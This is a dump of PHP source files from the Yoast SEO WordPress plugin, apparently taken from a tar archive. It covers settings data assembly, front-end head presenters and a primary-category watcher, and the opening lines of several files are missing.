* Retrieves the currently represented person.
*
* @param array $settings The settings.
*
* @return array The currently represented person.
*/
protected function get_site_represents_person( $settings ) {
$person = [
'id' => false,
'name' => '',
];
if ( isset( $settings['wpseo_titles']['company_or_person_user_id'] ) ) {
$person['id'] = $settings['wpseo_titles']['company_or_person_user_id'];
$user = \get_userdata( $person['id'] );
if ( $user instanceof WP_User ) {
$person['name'] = $user->get( 'display_name' );
}
}
return $person;
}
/**
* Get site policy data.
*
* @param array $settings The settings.
*
* @return array The policy data.
*/
private function get_site_basics_policies( $settings ) {
$policies = [];
$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['publishing_principles_id'], 'publishing_principles_id' );
$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['ownership_funding_info_id'], 'ownership_funding_info_id' );
$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['actionable_feedback_policy_id'], 'actionable_feedback_policy_id' );
$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['corrections_policy_id'], 'corrections_policy_id' );
$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['ethics_policy_id'], 'ethics_policy_id' );
$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['diversity_policy_id'], 'diversity_policy_id' );
$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['diversity_staffing_report_id'], 'diversity_staffing_report_id' );
return $policies;
}
/**
* Adds policy data if it is present.
*
* @param array $policies The existing policy data.
* @param int $policy The policy id to check.
* @param string $key The option key name.
*
* @return array The policy data.
*/
private function maybe_add_policy( $policies, $policy, $key ) {
$policy_array = [
'id' => 0,
'name' => \__( 'None', 'wordpress-seo' ),
];
if ( isset( $policy ) && \is_int( $policy ) ) {
$policy_array['id'] = $policy;
$post = \get_post( $policy );
if ( $post instanceof WP_Post ) {
if ( $post->post_status !== 'publish' || $post->post_password !== '' ) {
return $policies;
}
$policy_array['name'] = $post->post_title;
}
}
$policies[ $key ] = $policy_array;
return $policies;
}
/**
* Adds page if it is present.
*
* @param array $pages The existing pages.
* @param int $page_id The page id to check.
* @param string $key The option key name.
*
* @return array The policy data.
*/
private function maybe_add_page( $pages, $page_id, $key ) {
if ( isset( $page_id ) && \is_int( $page_id ) && $page_id !== 0 ) {
$post = $this->manual_post_collection->get_content_type_entry( $page_id );
if ( $post === null ) {
return $pages;
}
$pages[ $key ] = [
'id' => $page_id,
'title' => ( $post->get_title() ) ? $post->get_title() : $post->get_slug(),
'slug' => $post->get_slug(),
];
}
return $pages;
}
/**
* Get site llms.txt pages.
*
* @param array $settings The settings.
*
* @return array> The llms.txt pages.
*/
private function get_site_llms_txt_pages( $settings ) {
$llms_txt_pages = [];
$llms_txt_pages = $this->maybe_add_page( $llms_txt_pages, $settings['wpseo_llmstxt']['about_us_page'], 'about_us_page' );
$llms_txt_pages = $this->maybe_add_page( $llms_txt_pages, $settings['wpseo_llmstxt']['contact_page'], 'contact_page' );
$llms_txt_pages = $this->maybe_add_page( $llms_txt_pages, $settings['wpseo_llmstxt']['terms_page'], 'terms_page' );
$llms_txt_pages = $this->maybe_add_page( $llms_txt_pages, $settings['wpseo_llmstxt']['privacy_policy_page'], 'privacy_policy_page' );
$llms_txt_pages = $this->maybe_add_page( $llms_txt_pages, $settings['wpseo_llmstxt']['shop_page'], 'shop_page' );
if ( isset( $settings['wpseo_llmstxt']['other_included_pages'] ) && \is_array( $settings['wpseo_llmstxt']['other_included_pages'] ) ) {
foreach ( $settings['wpseo_llmstxt']['other_included_pages'] as $key => $page_id ) {
$llms_txt_pages = $this->maybe_add_page( $llms_txt_pages, $page_id, 'other_included_pages-' . $key );
}
}
return $llms_txt_pages;
}
/**
* Returns settings for the Call to Buy (CTB) buttons.
*
* @return array The array of CTB settings.
*/
public function get_upsell_settings() {
return [
'actionId' => 'load-nfd-ctb',
'premiumCtbId' => 'f6a84663-465f-4cb5-8ba5-f7a6d72224b2',
];
}
/**
* Retrieves the default setting values.
*
* These default values are currently being used in the UI for dummy fields.
* Dummy fields should not expose or reflect the actual data.
*
* @return array The default setting values.
*/
protected function get_default_setting_values() {
$defaults = [];
// Add Yoast settings.
foreach ( WPSEO_Options::$options as $option_name => $instance ) {
if ( \in_array( $option_name, self::ALLOWED_OPTION_GROUPS, true ) ) {
$option_instance = WPSEO_Options::get_option_instance( $option_name );
$defaults[ $option_name ] = ( $option_instance ) ? $option_instance->get_defaults() : [];
}
}
// Add WP settings.
foreach ( self::WP_OPTIONS as $option_name ) {
$defaults[ $option_name ] = '';
}
// Remove disallowed settings.
foreach ( self::DISALLOWED_SETTINGS as $option_name => $disallowed_settings ) {
foreach ( $disallowed_settings as $disallowed_setting ) {
unset( $defaults[ $option_name ][ $disallowed_setting ] );
}
}
if ( \defined( 'WPSEO_LOCAL_FILE' ) ) {
$defaults = $this->get_defaults_from_local_seo( $defaults );
}
return $defaults;
}
/**
* Retrieves the organization schema values from Local SEO for defaults in Site representation fields.
* Specifically for the org-vat-id, org-tax-id, org-email and org-phone options.
*
* @param array $defaults The settings defaults.
*
* @return array The settings defaults with local seo overides.
*/
protected function get_defaults_from_local_seo( $defaults ) {
$local_options = \get_option( 'wpseo_local' );
$multiple_locations = $local_options['use_multiple_locations'];
$same_organization = $local_options['multiple_locations_same_organization'];
$shared_info = $local_options['multiple_locations_shared_business_info'];
if ( $multiple_locations !== 'on' || ( $multiple_locations === 'on' && $same_organization === 'on' && $shared_info === 'on' ) ) {
$defaults['wpseo_titles']['org-vat-id'] = $local_options['location_vat_id'];
$defaults['wpseo_titles']['org-tax-id'] = $local_options['location_tax_id'];
$defaults['wpseo_titles']['org-email'] = $local_options['location_email'];
$defaults['wpseo_titles']['org-phone'] = $local_options['location_phone'];
}
if ( \wpseo_has_primary_location() ) {
$primary_location = $local_options['multiple_locations_primary_location'];
$location_keys = [
'org-phone' => [
'is_overridden' => '_wpseo_is_overridden_business_phone',
'value' => '_wpseo_business_phone',
],
'org-email' => [
'is_overridden' => '_wpseo_is_overridden_business_email',
'value' => '_wpseo_business_email',
],
'org-tax-id' => [
'is_overridden' => '_wpseo_is_overridden_business_tax_id',
'value' => '_wpseo_business_tax_id',
],
'org-vat-id' => [
'is_overridden' => '_wpseo_is_overridden_business_vat_id',
'value' => '_wpseo_business_vat_id',
],
];
foreach ( $location_keys as $key => $meta_keys ) {
$is_overridden = ( $shared_info === 'on' ) ? \get_post_meta( $primary_location, $meta_keys['is_overridden'], true ) : false;
if ( $is_overridden === 'on' || $shared_info !== 'on' ) {
$post_meta_value = \get_post_meta( $primary_location, $meta_keys['value'], true );
$defaults['wpseo_titles'][ $key ] = ( $post_meta_value ) ? $post_meta_value : '';
}
}
}
return $defaults;
}
/**
* Retrieves the settings and their values.
*
* @param array $default_setting_values The default setting values.
*
* @return array The settings.
*/
protected function get_settings( $default_setting_values ) {
$settings = [];
// Add Yoast settings.
foreach ( WPSEO_Options::$options as $option_name => $instance ) {
if ( \in_array( $option_name, self::ALLOWED_OPTION_GROUPS, true ) ) {
$settings[ $option_name ] = \array_merge( $default_setting_values[ $option_name ], WPSEO_Options::get_option( $option_name ) );
}
}
// Add WP settings.
foreach ( self::WP_OPTIONS as $option_name ) {
$settings[ $option_name ] = \get_option( $option_name );
}
// Remove disallowed settings.
foreach ( self::DISALLOWED_SETTINGS as $option_name => $disallowed_settings ) {
foreach ( $disallowed_settings as $disallowed_setting ) {
unset( $settings[ $option_name ][ $disallowed_setting ] );
}
}
return $settings;
}
/**
* Transforms setting values.
*
* @param array $settings The settings.
*
* @return array The settings.
*/
protected function transform_settings( $settings ) {
if ( isset( $settings['wpseo_titles']['breadcrumbs-sep'] ) ) {
/**
* The breadcrumbs separator default value is the HTML entity `»`.
* Which does not get decoded in our JS, while it did in our Yoast form. Decode it here as an exception.
*/
$settings['wpseo_titles']['breadcrumbs-sep'] = \html_entity_decode(
$settings['wpseo_titles']['breadcrumbs-sep'],
( \ENT_NOQUOTES | \ENT_HTML5 ),
'UTF-8',
);
}
/**
* Decode some WP options.
*/
$settings['blogdescription'] = \html_entity_decode(
$settings['blogdescription'],
( \ENT_NOQUOTES | \ENT_HTML5 ),
'UTF-8',
);
if ( isset( $settings['wpseo_llmstxt']['other_included_pages'] ) ) {
// Append an empty page to the other included pages, so that we manage to show an empty field in the UI.
$settings['wpseo_llmstxt']['other_included_pages'][] = 0;
}
return $settings;
}
/**
* Retrieves the disabled settings.
*
* @param array $settings The settings.
*
* @return array The settings.
*/
protected function get_disabled_settings( $settings ) {
$disabled_settings = [];
$site_language = $this->language_helper->get_language();
foreach ( WPSEO_Options::$options as $option_name => $instance ) {
if ( ! \in_array( $option_name, self::ALLOWED_OPTION_GROUPS, true ) ) {
continue;
}
$disabled_settings[ $option_name ] = [];
$option_instance = WPSEO_Options::get_option_instance( $option_name );
if ( $option_instance === false ) {
continue;
}
foreach ( $settings[ $option_name ] as $setting_name => $setting_value ) {
if ( $option_instance->is_disabled( $setting_name ) ) {
$disabled_settings[ $option_name ][ $setting_name ] = 'network';
}
}
}
// Remove disabled on multisite settings.
if ( \is_multisite() ) {
foreach ( self::DISABLED_ON_MULTISITE_SETTINGS as $option_name => $disabled_ms_settings ) {
if ( \array_key_exists( $option_name, $disabled_settings ) ) {
foreach ( $disabled_ms_settings as $disabled_ms_setting ) {
$disabled_settings[ $option_name ][ $disabled_ms_setting ] = 'multisite';
}
}
}
}
if ( \array_key_exists( 'wpseo', $disabled_settings ) && ! $this->language_helper->has_inclusive_language_support( $site_language ) ) {
$disabled_settings['wpseo']['inclusive_language_analysis_active'] = 'language';
}
return $disabled_settings;
}
/**
* Retrieves the replacement variables.
*
* @return array The replacement variables.
*/
protected function get_replacement_variables() {
$recommended_replace_vars = new WPSEO_Admin_Recommended_Replace_Vars();
$specific_replace_vars = new WPSEO_Admin_Editor_Specific_Replace_Vars();
$replacement_variables = $this->replace_vars->get_replacement_variables_with_labels();
return [
'variables' => $replacement_variables,
'recommended' => $recommended_replace_vars->get_recommended_replacevars(),
'specific' => $specific_replace_vars->get(),
'shared' => $specific_replace_vars->get_generic( $replacement_variables ),
];
}
/**
* Retrieves the schema.
*
* @param array $post_types The post types.
*
* @return array The schema.
*/
protected function get_schema( array $post_types ) {
$schema = [];
foreach ( $this->schema_types->get_article_type_options() as $article_type ) {
$schema['articleTypes'][ $article_type['value'] ] = [
'label' => $article_type['name'],
'value' => $article_type['value'],
];
}
foreach ( $this->schema_types->get_page_type_options() as $page_type ) {
$schema['pageTypes'][ $page_type['value'] ] = [
'label' => $page_type['name'],
'value' => $page_type['value'],
];
}
$schema['articleTypeDefaults'] = [];
$schema['pageTypeDefaults'] = [];
foreach ( $post_types as $name => $post_type ) {
$schema['articleTypeDefaults'][ $name ] = WPSEO_Options::get_default( 'wpseo_titles', "schema-article-type-$name" );
$schema['pageTypeDefaults'][ $name ] = WPSEO_Options::get_default( 'wpseo_titles', "schema-page-type-$name" );
}
return $schema;
}
/**
* Transforms the post types, to represent them.
*
* @param WP_Post_Type[] $post_types The WP_Post_Type array to transform.
*
* @return array The post types.
*/
protected function transform_post_types( $post_types ) {
$transformed = [];
$new_post_types = $this->options->get( 'new_post_types', [] );
foreach ( $post_types as $post_type ) {
$transformed[ $post_type->name ] = [
'name' => $post_type->name,
'route' => $this->route_helper->get_route( $post_type->name, $post_type->rewrite, $post_type->rest_base ),
'label' => $post_type->label,
'singularLabel' => $post_type->labels->singular_name,
'hasArchive' => $this->post_type_helper->has_archive( $post_type ),
'hasSchemaArticleType' => $this->article_helper->is_article_post_type( $post_type->name ),
'menuPosition' => $post_type->menu_position,
'isNew' => \in_array( $post_type->name, $new_post_types, true ),
];
}
\uasort( $transformed, [ $this, 'compare_post_types' ] );
return $transformed;
}
/**
* Compares two post types.
*
* @param array $a The first post type.
* @param array $b The second post type.
*
* @return int The order.
*/
protected function compare_post_types( $a, $b ) {
if ( $a['menuPosition'] === null && $b['menuPosition'] !== null ) {
return 1;
}
if ( $a['menuPosition'] !== null && $b['menuPosition'] === null ) {
return -1;
}
if ( $a['menuPosition'] === null && $b['menuPosition'] === null ) {
// No position specified, order alphabetically by label.
return \strnatcmp( $a['label'], $b['label'] );
}
return ( ( $a['menuPosition'] < $b['menuPosition'] ) ? -1 : 1 );
}
/**
* Transforms the taxonomies, to represent them.
*
* @param WP_Taxonomy[] $taxonomies The WP_Taxonomy array to transform.
* @param string[] $post_type_names The post type names.
*
* @return array The taxonomies.
*/
protected function transform_taxonomies( $taxonomies, $post_type_names ) {
$transformed = [];
$new_taxonomies = $this->options->get( 'new_taxonomies', [] );
foreach ( $taxonomies as $taxonomy ) {
$transformed[ $taxonomy->name ] = [
'name' => $taxonomy->name,
'route' => $this->route_helper->get_route( $taxonomy->name, $taxonomy->rewrite, $taxonomy->rest_base ),
'label' => $taxonomy->label,
'showUi' => $taxonomy->show_ui,
'singularLabel' => $taxonomy->labels->singular_name,
'postTypes' => \array_filter(
$taxonomy->object_type,
static function ( $object_type ) use ( $post_type_names ) {
return \in_array( $object_type, $post_type_names, true );
},
),
'isNew' => \in_array( $taxonomy->name, $new_taxonomies, true ),
];
}
\uasort(
$transformed,
static function ( $a, $b ) {
return \strnatcmp( $a['label'], $b['label'] );
},
);
return $transformed;
}
/**
* Retrieves the fallbacks.
*
* @return array The fallbacks.
*/
protected function get_fallbacks() {
$site_logo_id = \get_option( 'site_logo' );
if ( ! $site_logo_id ) {
$site_logo_id = \get_theme_mod( 'custom_logo' );
}
if ( ! $site_logo_id ) {
$site_logo_id = '0';
}
return [
'siteLogoId' => $site_logo_id,
];
}
}
integrations/front-end-integration.php 0000644 00000045577 15207625463 0014234 0 ustar 00
*/
protected $open_graph_error_presenters = [
'Open_Graph\Locale',
'Open_Graph\Title',
'Open_Graph\Site_Name',
];
/**
* The Twitter card specific presenters.
*
* @var array
*/
protected $twitter_card_presenters = [
'Twitter\Card',
'Twitter\Title',
'Twitter\Description',
'Twitter\Image',
'Twitter\Creator',
'Twitter\Site',
];
/**
* The Slack specific presenters.
*
* @var array
*/
protected $slack_presenters = [
'Slack\Enhanced_Data',
];
/**
* The Webmaster verification specific presenters.
*
* @var array
*/
protected $webmaster_verification_presenters = [
'Webmaster\Ahrefs',
'Webmaster\Baidu',
'Webmaster\Bing',
'Webmaster\Google',
'Webmaster\Pinterest',
'Webmaster\Yandex',
];
/**
* Presenters that are only needed on singular pages.
*
* @var array
*/
protected $singular_presenters = [
'Meta_Author',
'Open_Graph\Article_Author',
'Open_Graph\Article_Publisher',
'Open_Graph\Article_Published_Time',
'Open_Graph\Article_Modified_Time',
'Twitter\Creator',
'Slack\Enhanced_Data',
];
/**
* The presenters we want to be last in our output.
*
* @var array
*/
protected $closing_presenters = [
'Schema',
];
/**
* The next output.
*
* @var string
*/
protected $next;
/**
* The prev output.
*
* @var string
*/
protected $prev;
/**
* Returns the conditionals based on which this loadable should be active.
*
* @return array The conditionals.
*/
public static function get_conditionals() {
return [ Front_End_Conditional::class ];
}
/**
* Front_End_Integration constructor.
*
* @codeCoverageIgnore It sets dependencies.
*
* @param Meta_Tags_Context_Memoizer $context_memoizer The meta tags context memoizer.
* @param ContainerInterface $service_container The DI container.
* @param Options_Helper $options The options helper.
* @param Helpers_Surface $helpers The helpers surface.
* @param WPSEO_Replace_Vars $replace_vars The replace vars helper.
* @param Indexable_Repository $indexable_repository The indexable repository.
* @param Permalink_Helper $permalink_helper The permalink helper.
*/
public function __construct(
Meta_Tags_Context_Memoizer $context_memoizer,
ContainerInterface $service_container,
Options_Helper $options,
Helpers_Surface $helpers,
WPSEO_Replace_Vars $replace_vars,
Indexable_Repository $indexable_repository,
Permalink_Helper $permalink_helper
) {
$this->container = $service_container;
$this->context_memoizer = $context_memoizer;
$this->options = $options;
$this->helpers = $helpers;
$this->replace_vars = $replace_vars;
$this->indexable_repository = $indexable_repository;
$this->permalink_helper = $permalink_helper;
}
/**
* Registers the appropriate hooks to show the SEO metadata on the frontend.
*
* Removes some actions to remove metadata that WordPress shows on the frontend,
* to avoid duplicate and/or mismatched metadata.
*
* @return void
*/
public function register_hooks() {
\add_filter( 'render_block', [ $this, 'query_loop_next_prev' ], 1, 2 );
\add_action( 'wp_head', [ $this, 'call_wpseo_head' ], 1 );
// Filter the title for compatibility with other plugins and themes.
\add_filter( 'wp_title', [ $this, 'filter_title' ], 15 );
// Filter the title for compatibility with block-based themes.
\add_filter( 'pre_get_document_title', [ $this, 'filter_title' ], 15 );
// Removes our robots presenter from the list when wp_robots is handling this.
\add_filter( 'wpseo_frontend_presenter_classes', [ $this, 'filter_robots_presenter' ] );
\add_action( 'wpseo_head', [ $this, 'present_head' ], -9999 );
\add_action( 'wpseo_head', [ $this, 'update_outdated_permalink' ], -10_000 );
\remove_action( 'wp_head', 'rel_canonical' );
\remove_action( 'wp_head', 'index_rel_link' );
\remove_action( 'wp_head', 'start_post_rel_link' );
\remove_action( 'wp_head', 'adjacent_posts_rel_link_wp_head' );
\remove_action( 'wp_head', 'noindex', 1 );
\remove_action( 'wp_head', '_wp_render_title_tag', 1 );
\remove_action( 'wp_head', '_block_template_render_title_tag', 1 );
\remove_action( 'wp_head', 'gutenberg_render_title_tag', 1 );
}
/**
* Filters the title, mainly used for compatibility reasons.
*
* @return string
*/
public function filter_title() {
$context = $this->context_memoizer->for_current_page();
$title_presenter = new Title_Presenter();
/** This filter is documented in src/integrations/front-end-integration.php */
$title_presenter->presentation = \apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context );
$title_presenter->replace_vars = $this->replace_vars;
$title_presenter->helpers = $this->helpers;
\remove_filter( 'pre_get_document_title', [ $this, 'filter_title' ], 15 );
$title = \esc_html( $title_presenter->get() );
\add_filter( 'pre_get_document_title', [ $this, 'filter_title' ], 15 );
return $title;
}
/**
* Checks if the current entity has a permalink that has a mismatch
* with the permalink stored in its indexable. If they differ, purges the indexable's
* permalink so it will be recalculated in the same request.
*
* @return void
*/
public function update_outdated_permalink() {
$dynamic_permalinks_conditional = new Dynamic_Product_Permalinks_Conditional();
if ( ! $dynamic_permalinks_conditional->is_met() ) {
return;
}
$woocommerce_version_conditional = new WooCommerce_Version_Conditional();
if ( ! $woocommerce_version_conditional->is_met() ) {
return;
}
$context = $this->context_memoizer->for_current_page();
// We're adding this fix only for products because of the 10.5 Woo release. We might expand this for all cases in the future.
if ( $context->indexable->object_sub_type !== 'product' ) {
return;
}
$current_permalink = $this->permalink_helper->get_permalink_for_post( $context->indexable->object_sub_type, $context->indexable->object_id );
$indexable_permalink = $context->indexable->permalink;
// Only purge if the permalinks differ.
if ( $current_permalink !== $indexable_permalink ) {
$this->indexable_repository->reset_permalink(
$context->indexable->object_type,
$context->indexable->object_sub_type,
$context->indexable->object_id,
);
// Clear the memoizer caches so present_head() sees the updated indexable.
$this->context_memoizer->clear_for_current_page();
$this->context_memoizer->clear( $context->indexable );
}
}
/**
* Filters the next and prev links in the query loop block.
*
* @param string $html The HTML output.
* @param array $block The block.
* @return string The filtered HTML output.
*/
public function query_loop_next_prev( $html, $block ) {
if ( $block['blockName'] === 'core/query' ) {
// Check that the query does not inherit the main query.
if ( isset( $block['attrs']['query']['inherit'] ) && ! $block['attrs']['query']['inherit'] ) {
\add_filter( 'wpseo_adjacent_rel_url', [ $this, 'adjacent_rel_url' ], 1, 3 );
}
}
if ( $block['blockName'] === 'core/query-pagination-next' ) {
$this->next = $html;
}
if ( $block['blockName'] === 'core/query-pagination-previous' ) {
$this->prev = $html;
}
return $html;
}
/**
* Returns correct adjacent pages when Query loop block does not inherit query from template.
* Prioritizes existing prev and next links.
* Includes a safety check for full urls though it is not expected in the query pagination block.
*
* @param string $link The current link.
* @param string $rel Link relationship, prev or next.
* @param Indexable_Presentation|null $presentation The indexable presentation.
*
* @return string The correct link.
*/
public function adjacent_rel_url( $link, $rel, $presentation = null ) {
// Prioritize existing prev and next links.
if ( $link ) {
return $link;
}
// Safety check for rel value.
if ( $rel !== 'next' && $rel !== 'prev' ) {
return $link;
}
// Check $this->next or $this->prev for existing links.
if ( $this->$rel === null ) {
return $link;
}
$processor = new WP_HTML_Tag_Processor( $this->$rel );
if ( ! $processor->next_tag( [ 'tag_name' => 'a' ] ) ) {
return $link;
}
$href = $processor->get_attribute( 'href' );
if ( ! $href ) {
return $link;
}
// Safety check for full url, not expected.
if ( \strpos( $href, 'http' ) === 0 ) {
return $href;
}
// Check if $href is relative and append last part of the url to permalink.
if ( \strpos( $href, '/' ) === 0 ) {
$href_parts = \explode( '/', $href );
return $presentation->permalink . \end( $href_parts );
}
return $link;
}
/**
* Filters our robots presenter, but only when wp_robots is attached to the wp_head action.
*
* @param array $presenters The presenters for current page.
*
* @return array The filtered presenters.
*/
public function filter_robots_presenter( $presenters ) {
if ( ! \function_exists( 'wp_robots' ) ) {
return $presenters;
}
if ( ! \has_action( 'wp_head', 'wp_robots' ) ) {
return $presenters;
}
if ( \wp_is_serving_rest_request() ) {
return $presenters;
}
return \array_diff( $presenters, [ 'Yoast\\WP\\SEO\\Presenters\\Robots_Presenter' ] );
}
/**
* Presents the head in the front-end. Resets wp_query if it's not the main query.
*
* @codeCoverageIgnore It just calls a WordPress function.
*
* @return void
*/
public function call_wpseo_head() {
global $wp_query;
$old_wp_query = $wp_query;
// phpcs:ignore WordPress.WP.DiscouragedFunctions.wp_reset_query_wp_reset_query -- Reason: The recommended function, wp_reset_postdata, doesn't reset wp_query.
\wp_reset_query();
\do_action( 'wpseo_head' );
// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Reason: we have to restore the query.
$GLOBALS['wp_query'] = $old_wp_query;
}
/**
* Echoes all applicable presenters for a page.
*
* @return void
*/
public function present_head() {
$context = $this->context_memoizer->for_current_page();
$presenters = $this->get_presenters( $context->page_type, $context );
/**
* Filter 'wpseo_frontend_presentation' - Allow filtering the presentation used to output our meta values.
*
* @param Indexable_Presention $presentation The indexable presentation.
* @param Meta_Tags_Context $context The meta tags context for the current page.
*/
$presentation = \apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context );
echo \PHP_EOL;
foreach ( $presenters as $presenter ) {
$presenter->presentation = $presentation;
$presenter->helpers = $this->helpers;
$presenter->replace_vars = $this->replace_vars;
$output = $presenter->present();
if ( ! empty( $output ) ) {
// phpcs:ignore WordPress.Security.EscapeOutput -- Presenters are responsible for correctly escaping their output.
echo "\t" . $output . \PHP_EOL;
}
}
echo \PHP_EOL . \PHP_EOL;
}
/**
* Returns all presenters for this page.
*
* @param string $page_type The page type.
* @param Meta_Tags_Context|null $context The meta tags context for the current page.
*
* @return Abstract_Indexable_Presenter[] The presenters.
*/
public function get_presenters( $page_type, $context = null ) {
$context ??= $this->context_memoizer->for_current_page();
$needed_presenters = $this->get_needed_presenters( $page_type );
$callback = static function ( $presenter ) {
if ( ! \class_exists( $presenter ) ) {
return null;
}
return new $presenter();
};
$presenters = \array_filter( \array_map( $callback, $needed_presenters ) );
/**
* Filter 'wpseo_frontend_presenters' - Allow filtering the presenter instances in or out of the request.
*
* @param Abstract_Indexable_Presenter[] $presenters List of presenter instances.
* @param Meta_Tags_Context $context The meta tags context for the current page.
*/
$presenter_instances = \apply_filters( 'wpseo_frontend_presenters', $presenters, $context );
if ( ! \is_array( $presenter_instances ) ) {
$presenter_instances = $presenters;
}
$is_presenter_callback = static function ( $presenter_instance ) {
return $presenter_instance instanceof Abstract_Indexable_Presenter;
};
$presenter_instances = \array_filter( $presenter_instances, $is_presenter_callback );
return \array_merge(
[ new Marker_Open_Presenter() ],
$presenter_instances,
[ new Marker_Close_Presenter() ],
);
}
/**
* Generate the array of presenters we need for the current request.
*
* @param string $page_type The page type we're retrieving presenters for.
*
* @return string[] The presenters.
*/
private function get_needed_presenters( $page_type ) {
$presenters = $this->get_presenters_for_page_type( $page_type );
$presenters = $this->maybe_remove_title_presenter( $presenters );
$callback = static function ( $presenter ) {
return "Yoast\WP\SEO\Presenters\\{$presenter}_Presenter";
};
$presenters = \array_map( $callback, $presenters );
/**
* Filter 'wpseo_frontend_presenter_classes' - Allow filtering presenters in or out of the request.
*
* @param array $presenters List of presenters.
* @param string $page_type The current page type.
*/
$presenters = \apply_filters( 'wpseo_frontend_presenter_classes', $presenters, $page_type );
return $presenters;
}
/**
* Filters the presenters based on the page type.
*
* @param string $page_type The page type.
*
* @return string[] The presenters.
*/
private function get_presenters_for_page_type( $page_type ) {
if ( $page_type === 'Error_Page' ) {
$presenters = $this->base_presenters;
if ( $this->options->get( 'opengraph' ) === true ) {
$presenters = \array_merge( $presenters, $this->open_graph_error_presenters );
}
return \array_merge( $presenters, $this->closing_presenters );
}
$presenters = $this->get_all_presenters();
if ( \in_array( $page_type, [ 'Static_Home_Page', 'Home_Page' ], true ) ) {
$presenters = \array_merge( $presenters, $this->webmaster_verification_presenters );
}
// Filter out the presenters only needed for singular pages on non-singular pages.
if ( ! \in_array( $page_type, [ 'Post_Type', 'Static_Home_Page' ], true ) ) {
$presenters = \array_diff( $presenters, $this->singular_presenters );
}
// Filter out `twitter:data` presenters for static home pages.
if ( $page_type === 'Static_Home_Page' ) {
$presenters = \array_diff( $presenters, $this->slack_presenters );
}
return $presenters;
}
/**
* Returns a list of all available presenters based on settings.
*
* @return string[] The presenters.
*/
private function get_all_presenters() {
$presenters = \array_merge( $this->base_presenters, $this->indexing_directive_presenters );
if ( $this->options->get( 'opengraph' ) === true ) {
$presenters = \array_merge( $presenters, $this->open_graph_presenters );
}
if ( $this->options->get( 'twitter' ) === true && \apply_filters( 'wpseo_output_twitter_card', true ) !== false ) {
$presenters = \array_merge( $presenters, $this->twitter_card_presenters );
}
if ( $this->options->get( 'enable_enhanced_slack_sharing' ) === true && \apply_filters( 'wpseo_output_enhanced_slack_data', true ) !== false ) {
$presenters = \array_merge( $presenters, $this->slack_presenters );
}
return \array_merge( $presenters, $this->closing_presenters );
}
/**
* Whether the title presenter should be removed.
*
* @return bool True when the title presenter should be removed, false otherwise.
*/
public function should_title_presenter_be_removed() {
return ! \get_theme_support( 'title-tag' ) && ! $this->options->get( 'forcerewritetitle', false );
}
/**
* Checks if the Title presenter needs to be removed.
*
* @param string[] $presenters The presenters.
*
* @return string[] The presenters.
*/
private function maybe_remove_title_presenter( $presenters ) {
// Do not remove the title if we're on a REST request.
if ( \wp_is_serving_rest_request() ) {
return $presenters;
}
// Remove the title presenter if the theme is hardcoded to output a title tag so we don't have two title tags.
if ( $this->should_title_presenter_be_removed() ) {
$presenters = \array_diff( $presenters, [ 'Title' ] );
}
return $presenters;
}
}
integrations/watchers/primary-category-quick-edit-watcher.php 0000644 00000013062 15207625463 0020605 0 ustar 00 options_helper = $options_helper;
$this->primary_term_repository = $primary_term_repository;
$this->post_type_helper = $post_type_helper;
$this->indexable_repository = $indexable_repository;
$this->indexable_hierarchy_builder = $indexable_hierarchy_builder;
}
/**
* Initializes the integration.
*
* This is the place to register hooks and filters.
*
* @return void
*/
public function register_hooks() {
\add_action( 'set_object_terms', [ $this, 'validate_primary_category' ], 10, 4 );
}
/**
* Returns the conditionals based on which this loadable should be active.
*
* @return array The conditionals.
*/
public static function get_conditionals() {
return [ Migrations_Conditional::class, Doing_Post_Quick_Edit_Save_Conditional::class ];
}
/**
* Validates if the current primary category is still present. If not just remove the post meta for it.
*
* @param int $object_id Object ID.
* @param array $terms Unused. An array of object terms.
* @param array $tt_ids An array of term taxonomy IDs.
* @param string $taxonomy Taxonomy slug.
*
* @return void
*/
public function validate_primary_category( $object_id, $terms, $tt_ids, $taxonomy ) {
$post = \get_post( $object_id );
if ( $post === null ) {
return;
}
$main_taxonomy = $this->options_helper->get( 'post_types-' . $post->post_type . '-maintax' );
if ( ! $main_taxonomy || $main_taxonomy === '0' ) {
return;
}
if ( $main_taxonomy !== $taxonomy ) {
return;
}
$primary_category = $this->get_primary_term_id( $post->ID, $main_taxonomy );
if ( $primary_category === false ) {
return;
}
// The primary category isn't removed.
if ( \in_array( (string) $primary_category, $tt_ids, true ) ) {
return;
}
$this->remove_primary_term( $post->ID, $main_taxonomy );
// Rebuild the post hierarchy for this post now the primary term has been changed.
$this->build_post_hierarchy( $post );
}
/**
* Returns the primary term id of a post.
*
* @param int $post_id The post ID.
* @param string $main_taxonomy The main taxonomy.
*
* @return int|false The ID of the primary term, or `false` if the post ID is invalid.
*/
private function get_primary_term_id( $post_id, $main_taxonomy ) {
$primary_term = $this->primary_term_repository->find_by_post_id_and_taxonomy( $post_id, $main_taxonomy, false );
if ( $primary_term ) {
return $primary_term->term_id;
}
return \get_post_meta( $post_id, WPSEO_Meta::$meta_prefix . 'primary_' . $main_taxonomy, true );
}
/**
* Removes the primary category.
*
* @param int $post_id The post id to set primary taxonomy for.
* @param string $main_taxonomy Name of the taxonomy that is set to be the primary one.
*
* @return void
*/
private function remove_primary_term( $post_id, $main_taxonomy ) {
$primary_term = $this->primary_term_repository->find_by_post_id_and_taxonomy( $post_id, $main_taxonomy, false );
if ( $primary_term ) {
$primary_term->delete();
}
// Remove it from the post meta.
\delete_post_meta( $post_id, WPSEO_Meta::$meta_prefix . 'primary_' . $main_taxonomy );
}
/**
* Builds the hierarchy for a post.
*
* @param WP_Post $post The post.
*
* @return void
*/
public function build_post_hierarchy( $post ) {
if ( $this->post_type_helper->is_excluded( $post->post_type ) ) {
return;
}
$indexable = $this->indexable_repository->find_by_id_and_type( $post->ID, 'post' );
if ( $indexable instanceof Indexable ) {
$this->indexable_hierarchy_builder->build( $indexable );
}
}
}
integrations/watchers/indexable-system-page-watcher.php 0000644 00000005223 15207625463 0017441 0 ustar 00 repository = $repository;
$this->builder = $builder;
}
/**
* Initializes the integration.
*
* This is the place to register hooks and filters.
*
* @return void
*/
public function register_hooks() {
